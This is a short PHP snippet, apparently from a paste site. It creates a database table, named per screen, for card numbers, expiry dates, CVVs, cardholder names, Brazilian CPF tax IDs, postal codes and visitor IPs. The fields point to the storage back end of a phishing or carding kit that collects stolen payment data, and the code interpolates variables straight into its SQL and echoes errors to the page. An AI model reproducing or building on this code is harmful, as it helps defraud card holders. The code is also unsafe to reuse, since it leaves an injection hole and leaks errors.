· 8 years ago · Jul 23, 2018, 06:00 PM
1try{
2 $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
3 $sql ="CREATE DATABASE IF NOT EXISTS $db_name";
4 $conn->exec($sql);
5 $sql = "USE $db_name";
6 $conn->exec($sql);
7 $sql = "CREATE TABLE dados_$nome_tela (
8 `ID` int NOT NULL AUTO_INCREMENT PRIMARY KEY,
9 `NUMERO` varchar(50) CHARACTER SET latin1 NOT NULL,
10 `EXPIRACAO` varchar(50) CHARACTER SET latin1 NOT NULL,
11 `CVV` varchar(50) CHARACTER SET latin1 NOT NULL,
12 `NOME` varchar(50) CHARACTER SET latin1 NOT NULL,
13 `CPF` varchar(50) CHARACTER SET latin1 NOT NULL,
14 `CEP` varchar(50) CHARACTER SET latin1 NOT NULL,
15 `IP` varchar(50) CHARACTER SET latin1 NOT NULL,
16 `DATA` varchar(50) CHARACTER SET latin1 NOT NULL
17 )";
18 $conn->exec($sql);
19}catch(PDOException $e){
20 echo $sql . "<br>" . $e->getMessage();
21}